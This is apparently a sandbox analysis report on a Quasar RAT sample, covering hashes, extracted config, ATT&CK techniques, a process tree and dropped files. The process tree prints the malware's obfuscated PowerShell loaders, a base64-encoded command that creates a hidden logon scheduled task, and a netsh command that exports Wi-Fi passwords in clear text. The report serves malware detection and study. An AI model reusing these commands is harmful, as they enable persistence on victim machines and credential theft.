quasar | fbb9caefe841fc8250e02ce382b76d5a3d88c3085e1c6ae1b2b931bb6889d596

Analysis

user interaction
yes
max time kernel
298s
max time network
285s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/11/2026, 12:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Xenoo.exe
Size 11.2MB
Sample261107-pnlmssbz2w
SHA256 fbb9caefe841fc8250e02ce382b76d5a3d88c3085e1c6ae1b2b931bb6889d596
MD5 3534a8e6eb35a3dbf296c2199fba4569
SHA1 7077cbc58c1cc594b5df71ac350c45e44bc9e559
SHA512 97ee0841c6cc4c9758cb564ea608ad927a406407970d11d97ae69d507d0136fbfa057abd0da94cc9b74c88384f3f1938b4bbe6e7809e33cf8bd3f577772d8d58
SSDEEP 49152:TNNapJ1L2I3mTYP2GzXBF+l2BNST7zJ2wWG3Q0vVIwYVjSf6qkpmGHbKUvKrjoam:
TLSH
T1CBC638203DFA6019B173FF594BE8BAD6DA9FB7333B07A4691051038A4613982DED153E
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution quasar persistence privilege_escalation spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

encryption_key
2F89CD21DE4DECEF4B8A2034B5C7243C56A8495C
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
reconnect_delay
3000

Signatures

Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/4304-72-0x000001867F1D0000-0x000001867F438000-memory.dmp	family_quasar

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
1	700	powershell.exe
3	700	powershell.exe
4	700	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3744	powershell.exe
4844	powershell.exe
4372	powershell.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
2	ip-api.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4520	cmd.exe
4900	cmd.exe
2868	cmd.exe
3248	cmd.exe
2816	cmd.exe
2688	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2764	netsh.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5416	powershell.exe
5416	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
3744	powershell.exe
3744	powershell.exe
3744	powershell.exe
4844	powershell.exe
4844	powershell.exe
4372	powershell.exe
4372	powershell.exe
4844	powershell.exe
4372	powershell.exe
4304	powershell.exe
4304	powershell.exe
3336	powershell.exe
3336	powershell.exe
4304	powershell.exe
3336	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5416	powershell.exe
Token: SeDebugPrivilege	700	powershell.exe
Token: SeDebugPrivilege	3744	powershell.exe
Token: SeIncreaseQuotaPrivilege	3744	powershell.exe
Token: SeSecurityPrivilege	3744	powershell.exe
Token: SeTakeOwnershipPrivilege	3744	powershell.exe
Token: SeLoadDriverPrivilege	3744	powershell.exe
Token: SeSystemProfilePrivilege	3744	powershell.exe
Token: SeSystemtimePrivilege	3744	powershell.exe
Token: SeProfSingleProcessPrivilege	3744	powershell.exe
Token: SeIncBasePriorityPrivilege	3744	powershell.exe
Token: SeCreatePagefilePrivilege	3744	powershell.exe
Token: SeBackupPrivilege	3744	powershell.exe
Token: SeRestorePrivilege	3744	powershell.exe
Token: SeShutdownPrivilege	3744	powershell.exe
Token: SeDebugPrivilege	3744	powershell.exe
Token: SeSystemEnvironmentPrivilege	3744	powershell.exe
Token: SeRemoteShutdownPrivilege	3744	powershell.exe
Token: SeUndockPrivilege	3744	powershell.exe
Token: SeManageVolumePrivilege	3744	powershell.exe
Token: 33	3744	powershell.exe
Token: 34	3744	powershell.exe
Token: 35	3744	powershell.exe
Token: 36	3744	powershell.exe
Token: SeIncreaseQuotaPrivilege	3744	powershell.exe
Token: SeSecurityPrivilege	3744	powershell.exe
Token: SeTakeOwnershipPrivilege	3744	powershell.exe
Token: SeLoadDriverPrivilege	3744	powershell.exe
Token: SeSystemProfilePrivilege	3744	powershell.exe
Token: SeSystemtimePrivilege	3744	powershell.exe
Token: SeProfSingleProcessPrivilege	3744	powershell.exe
Token: SeIncBasePriorityPrivilege	3744	powershell.exe
Token: SeCreatePagefilePrivilege	3744	powershell.exe
Token: SeBackupPrivilege	3744	powershell.exe
Token: SeRestorePrivilege	3744	powershell.exe
Token: SeShutdownPrivilege	3744	powershell.exe
Token: SeDebugPrivilege	3744	powershell.exe
Token: SeSystemEnvironmentPrivilege	3744	powershell.exe
Token: SeRemoteShutdownPrivilege	3744	powershell.exe
Token: SeUndockPrivilege	3744	powershell.exe
Token: SeManageVolumePrivilege	3744	powershell.exe
Token: 33	3744	powershell.exe
Token: 34	3744	powershell.exe
Token: 35	3744	powershell.exe
Token: 36	3744	powershell.exe
Token: SeIncreaseQuotaPrivilege	3744	powershell.exe
Token: SeSecurityPrivilege	3744	powershell.exe
Token: SeTakeOwnershipPrivilege	3744	powershell.exe
Token: SeLoadDriverPrivilege	3744	powershell.exe
Token: SeSystemProfilePrivilege	3744	powershell.exe
Token: SeSystemtimePrivilege	3744	powershell.exe
Token: SeProfSingleProcessPrivilege	3744	powershell.exe
Token: SeIncBasePriorityPrivilege	3744	powershell.exe
Token: SeCreatePagefilePrivilege	3744	powershell.exe
Token: SeBackupPrivilege	3744	powershell.exe
Token: SeRestorePrivilege	3744	powershell.exe
Token: SeShutdownPrivilege	3744	powershell.exe
Token: SeDebugPrivilege	3744	powershell.exe
Token: SeSystemEnvironmentPrivilege	3744	powershell.exe
Token: SeRemoteShutdownPrivilege	3744	powershell.exe
Token: SeUndockPrivilege	3744	powershell.exe
Token: SeManageVolumePrivilege	3744	powershell.exe
Token: 33	3744	powershell.exe
Token: 34	3744	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1808 wrote to memory of 4520	1808	Xenoo.exe	89
PID 4520 wrote to memory of 4900	4520	cmd.exe	91
PID 4900 wrote to memory of 5416	4900	cmd.exe	92
PID 5416 wrote to memory of 700	5416	powershell.exe	93
PID 700 wrote to memory of 3744	700	powershell.exe	95
PID 700 wrote to memory of 2868	700	powershell.exe	101
PID 700 wrote to memory of 3248	700	powershell.exe	102
PID 2868 wrote to memory of 2816	2868	cmd.exe	105
PID 3248 wrote to memory of 2688	3248	cmd.exe	106
PID 2688 wrote to memory of 4844	2688	cmd.exe	107
PID 2816 wrote to memory of 4372	2816	cmd.exe	108
PID 4844 wrote to memory of 4304	4844	powershell.exe	109
PID 4372 wrote to memory of 3336	4372	powershell.exe	110
PID 700 wrote to memory of 3272	700	powershell.exe	114
PID 700 wrote to memory of 2764	700	powershell.exe	116

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Xenoo.exe
"C:\Users\Admin\AppData\Local\Temp\Xenoo.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c start "" /b "C:\Users\Admin\AppData\Local\Temp\0140f0af16.bat"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\0140f0af16.bat"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4900
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -C "$Rd=$env:dQt0+$env:dQt1+$env:dQt2+$env:dQt3+$env:dQt4+$env:dQt5+$env:dQt6+$env:dQt7+$env:dQt8+$env:dQt9+$env:dQt10;$env:LGQcWMMTDS=$Rd;$dp='ix'+'e';$Rd|&($dp[0]+$dp[2]+$dp[1])"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5416
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -C "$z=$env:LGQcWMMTDS;$Zqi='e'+'ix';& ($Zqi[1]+$Zqi[0]+$Zqi[2]) $z"
        5⤵
        Badlisted process makes network request
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:700
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -WindowStyle Hidden -NonInteractive -EncodedCommand JAB0ACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcAbwBuADsAIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEsAdABjAGwAeQBwAFcAUwB6AGUAJwAgAC0AVAByAGkAZwBnAGUAcgAgACQAdAAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAYwBtAGQALgBlAHgAZQAnACAALQBBAHIAZwB1AG0AZQBuAHQAIAAnAC8AYwAgACIAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABFAHoASABQAG0AZABnAEkAXABFAHoASABQAG0AZABnAEkALgBiAGEAdAAiACcAKQAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEgAaQBkAGQAZQBuACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgADAAKQAgAC0ARgBvAHIAYwBlAA==
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3744
      - C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c "C:\Users\Admin\exorium-onconnect.bat"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2868
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\exorium-onconnect-payload.bat"
        7⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2816
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -ExecutionPolicy Bypass -command "Invoke-Expression $env:QrgEjvlRkxqt"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4372
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -C "$glgKkj=${env:_nHom0}+${env:_nHom1}+${env:_nHom2}+${env:_nHom3}+${env:_nHom4}+${env:_nHom5}+${env:_nHom6}+${env:_nHom7}+${env:_nHom8}+${env:_nHom9}+${env:_nHom10}+${env:_nHom11};&([scriptblock]::Create($glgKkj))"
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3336
      - C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c "C:\Users\Admin\exorium-onconnect.bat"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3248
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\exorium-onconnect-payload.bat"
        7⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2688
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -ExecutionPolicy Bypass -command "Invoke-Expression $env:QrgEjvlRkxqt"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4844
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -C "$glgKkj=${env:_nHom0}+${env:_nHom1}+${env:_nHom2}+${env:_nHom3}+${env:_nHom4}+${env:_nHom5}+${env:_nHom6}+${env:_nHom7}+${env:_nHom8}+${env:_nHom9}+${env:_nHom10}+${env:_nHom11};&([scriptblock]::Create($glgKkj))"
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4304
      - C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan export profile key=clear folder="C:\Users\Admin\AppData\Local\Temp\wifi_c78473b1"
        6⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:3272
      - C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles
        6⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:2764

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:3316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1316

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a4f4845e344dbf8441a8393be188339b7fd02da00e6e7fcbce31255eb41545ee
MD5 59b31b27a3c12e8e919dd81ee5fc52c1
SHA1 514ea5028197b7843ae5fb7e1cfc41aaadbc66b0
SHA512 6ffd9bc5635020ba7b86e1c6200becf6e19428442363324a6624012d9c1f40e3f3ec733e3401aac93985b02bf1278915f24e852914af534511063be06ca12aa5
TLSH
T196215733F3CC8624DC9A403650CEAC1136B687DB409EDF6BBB84D548B42F689DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e9dcbc5a24815b4b33c17df21b2dd98b925b17331e720efba10a2e6805a66914
MD5 871aa8ae9f7e8eae7439402ff2f4a3f6
SHA1 7c05cc96980ab9b97e085d20956302f2574d0c87
SHA512 bedeb99f109859313444b3b3fc5fece8d3adf8375fbbd1a69a0b48d66916d77c56ed89f74d9cace529e8f66d3c10ed687c953d0a4ae2e57299b6ff785705b89e
TLSH
T126215937B3DC8614DC9A413A50CEAC1036B687DB809ECF9BAB84D544B42F699DE601A0
MD5 SHA1 SHA512 TLSH

Submit Download

0140f0af16.bat

Path C:\Users\Admin\AppData\Local\Temp\0140f0af16.bat
Size 4.2MB
SHA256 266ed72c3462a7267448fbf3b55457b76fdc8899072e810ff06c833b4f5beb16
MD5 a2dc7bdbbef35fd35b528222c0b9a607
SHA1 9b41ec8968c57173a7cd354db6c9289c81e2f83d
SHA512 c63709e968778cf18a6e80df722976539c70d316ab2ffcb76fa760957fbeec6715a549216a8a36575321173b19e8eb00d2fc9c57bbc52509f379a0f2d013fb48
SSDEEP 49152:CSdjbU4ZvM5HuxLtRecouO1+OAXvMv7Y2OVQyNnid0U4XjdN4+bWH0PjYQCd:S
TLSH
T10D162305862E4D3F45E811B82CFE0E55AFA44F840178AFF855641CDB778FE4612FBAA8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_0teghlus.psl.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0teghlus.psl.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

cc_7896198d762e4ee9b819fb1c0fa30c23.db

Path C:\Users\Admin\AppData\Local\Temp\cc_7896198d762e4ee9b819fb1c0fa30c23.db
Size 138KB
SHA256 f3323c1b97ad69ac9fdca36309ff2c1bb375346bff9e1192df9efbe618d8937c
MD5 71c262fed4f0b0404a91a27f9b13e396
SHA1 8995191dd7fea121117a02b8a5168832e552de5d
SHA512 412e4e303e0b847aa519c7d8c20e35c2da7d2a43215b06449c234427eef30fa0d4f73a7c10bea6f2cb9a5eb9b2a8790a39986044e66395d917cfd78b46688d18
SSDEEP 192:9B+XuvBnl3JsueMEGvIW1/rcP2Or8pX6ZcqQVumxwkUd:zeuvBnhJsueMEGvIW1DcP2OsTVumxnUd
TLSH
T13ED3864B3A743002EDE59A721CE050BB5D3CB16D8F55E5D428B620688EF2963A23D4FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cc_9086addc83a4488d90efe1407083fe1a.db

Path C:\Users\Admin\AppData\Local\Temp\cc_9086addc83a4488d90efe1407083fe1a.db
Size 256KB
SHA256 b0c72944fc5bd02ac464a83ac972277e38d0dbc674f2a634c0d432bf882ef89a
MD5 b9ac2e3133012e6df701783726dd2e73
SHA1 2027d37725c5f18085038027fb7ccb6fc6568a24
SHA512 6fa34bb32da7171c554d4b3b2988e25598427f3f485632cbbecb12a545909563b01ec12a1393d4c3307652eaee787977a88538c639221a43d46d1e49411adc04
SSDEEP 384:K8NTRZyCSDnxTICYMEhIKyll7svbFKfk7:KoNZJSDniwyI1l7svbF9
TLSH
T16544640A7B747001EDE2D9725CB080771E3C616E8F26E6816DB654694EB3853A23D8FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ld_55026809ab034de79c5e1a01853cf426.db

Path C:\Users\Admin\AppData\Local\Temp\ld_55026809ab034de79c5e1a01853cf426.db
Size 40KB
SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
MD5 ba979c77c714b67908bc582ec373c723
SHA1 ff6b59b47b8d3ad488eaa7a4b0040a9a93eb19fe
SHA512 fc6b860dcb9e00c6ab7aa72555fb17921bbb8b1276acf0ab5fcb20b5f2dbd4bf71946c5c4fcfc46310f8de29491a63e46d43805070d19f290070f60077f80b01
SSDEEP 96:wDaCn8MouB6w9fUP8iZqmvJKLPeymwil:wDaG7Iw9f/iSi
TLSH
T16103440F2E682801C8B94632BCF124E62E7DA03E4F13EED12CB504659D75C52B52E5EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rc_501929a589f342f2b0968da09a66a113.db

Path C:\Users\Admin\AppData\Local\Temp\rc_501929a589f342f2b0968da09a66a113.db
Size 20KB
SHA256 2ade7ad8f15eccb025798893f007bc3a04679504411bbad75e4d1f35cf47a65e
MD5 40c4021f7a23fc1b361904d0519eb714
SHA1 eb811f03ded3cf26dc320980307be2b2f9335df5
SHA512 6cfd57cdb92272641c9ad007872cf25c11579c5bfd44935b988559b5e0cca1f4eff976265ff2c2b002f5176af6c8c21961f58e8fb108fcedf4370f9d640186ff
SSDEEP 24:TLf91kweka6cLbXYFpFNYba5+6UwcQ8PAl5fB:T79aw/aHLopFMavU1iB
TLSH
T1B392AD8E1F343620C0F44B33F9C249972E7C212C93637A89EE5410F3DD965ABF50A5A6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rc_506c5426b1b74b71b19af7caa1619f85.db

Path C:\Users\Admin\AppData\Local\Temp\rc_506c5426b1b74b71b19af7caa1619f85.db
Size 24KB
SHA256 4cc1a146d871eea502899024db7a2ff4ab46d4e787819a0fd75cc74aa7dd9926
MD5 f20c4b926daf368f14b347d55a16cb41
SHA1 aedbb95b2328494e27a76d02ac5409154865d9c3
SHA512 8ec39bf908f1781a50fd054587a2b64f9051fc79ed1482674be1936f614d20bbc49dcef5033e1ecf2f219345414230b4421305de76ba25b28c49d3521d953885
SSDEEP 24:TL8z/bXYFpFNYbatyTM2Wkweka60y6UwbdQ9rPWTZ61:TQz/LopFMaty423w/a9NUuT
TLSH
T140B2594D1F307220C0F44B36EDD189572F7C211CD3A326599E1810F3DE925ABF61956A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

exorium-onconnect-ok.txt

Path C:\Users\Admin\exorium-onconnect-ok.txt
Size 39B
SHA256 09728743edaabc5e420646b26b3a77966fa19dab965dc6464f8f4fb5ef373b91
MD5 e2f3ab6bb93e729b8fa1a08a794cbd93
SHA1 cb4f00eea73fc18fe36627dd2712815719cddfeb
SHA512 1dff089198e0f89db837d9cae16ca8e5638acb77672924cc69c9298c3d62581143efde020f36db86f0fead75bf42781a9be6189b279c10a7580cee5dd63a36ba
MD5 SHA1 SHA512

Submit Download

exorium-onconnect-payload.bat

Path C:\Users\Admin\exorium-onconnect-payload.bat
Size 2.1MB
SHA256 ec323870b7a7c9b5d2758b182d7881d1cb81ca79358394e21ebeb2ff9f4b7cdf
MD5 6e37c5853feb2f6085230550e0e502a9
SHA1 826df76c7ec75cc6dab45e89f8f5fc0fe33519a2
SHA512 9d18a8eaf686196d3b966a94dabc1a650bfe93027a8c7fdabc465a7bd446f9935de59066e056ffa31f17a7e8a804718909beb2cb5d2566525e2dd77192389a1d
SSDEEP 24576:evmY1UBVXw4KSkQLxjXtz8mVzGYBuH6McR/RDnC5NXF77SMd22aqHvsdUceiSyUS:NkKx78vYuH5AC5NXpd5xikbbM9Q5C
TLSH
T109A53314DE9F1C7A83A80B3510AF3B2D47E85EC8019CF3C293A36D9576566D117AF4B8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

exorium-onconnect.bat

Path C:\Users\Admin\exorium-onconnect.bat
Size 143B
SHA256 16554340b4432a84a2d209bc7f24833dd8209a0409497856dab6df9806574471
MD5 407fba541c209c579644ac7f66aabd65
SHA1 bc67977eb0ce94fbc23dcd7bdb921a6ad04ccece
SHA512 4340a49e46a7202d1fe0975db2da8cc2f6778733ef94ce0f6e7abccaca21cc55dda59a00926e46afb44558ca0f1d54eec22c22edf62c53cd10b78afdca01f9cf
TLSH
T1FAC02B8221A000F007428101171D6CD03C093013DF402E0097828074DD3DBD4FFD8BCF
MD5 SHA1 SHA512 TLSH

Submit Download

memory/700-36-0x00000209F0460000-0x00000209F0468000-memory.dmp

Download

memory/700-83-0x00000209F1440000-0x00000209F1452000-memory.dmp

Download

memory/700-76-0x00000209F14A0000-0x00000209F1536000-memory.dmp

Download

memory/700-64-0x00000209F11A0000-0x00000209F11A8000-memory.dmp

Download

memory/700-59-0x00000209F1190000-0x00000209F1198000-memory.dmp

Download

memory/700-24-0x00000209F09A0000-0x00000209F0A54000-memory.dmp

Download

memory/700-74-0x00000209F1230000-0x00000209F130A000-memory.dmp

Download

memory/700-84-0x00000209F1580000-0x00000209F15D0000-memory.dmp

Download

memory/700-48-0x00000209F1180000-0x00000209F118A000-memory.dmp

Download

memory/700-45-0x00000209F1170000-0x00000209F117A000-memory.dmp

Download

memory/700-34-0x00000209F0A60000-0x00000209F0B20000-memory.dmp

Download

memory/700-35-0x00000209F0B20000-0x00000209F0B36000-memory.dmp

Download

memory/700-44-0x00000209F1160000-0x00000209F116C000-memory.dmp

Download

memory/700-37-0x00000209F0B40000-0x00000209F0B8C000-memory.dmp

Download

memory/700-40-0x00000209F1100000-0x00000209F110E000-memory.dmp

Download

memory/700-41-0x00000209F11B0000-0x00000209F1226000-memory.dmp

Download

memory/700-42-0x00000209F1140000-0x00000209F115E000-memory.dmp

Download

memory/1808-0-0x00007FFA371CF000-0x00007FFA371D0000-memory.dmp

Download

memory/1808-4-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp

Download

memory/1808-6-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp

Download

memory/1808-3-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp

Download

memory/1808-8-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp

Download

memory/1808-7-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp

Download

memory/1808-2-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp

Download

memory/1808-1-0x0000000000970000-0x00000000014A8000-memory.dmp

Download

memory/3744-32-0x000002997B520000-0x000002997B53E000-memory.dmp

Download

memory/3744-31-0x000002997B410000-0x000002997B41A000-memory.dmp

Download

memory/3744-29-0x000002997B420000-0x000002997B43E000-memory.dmp

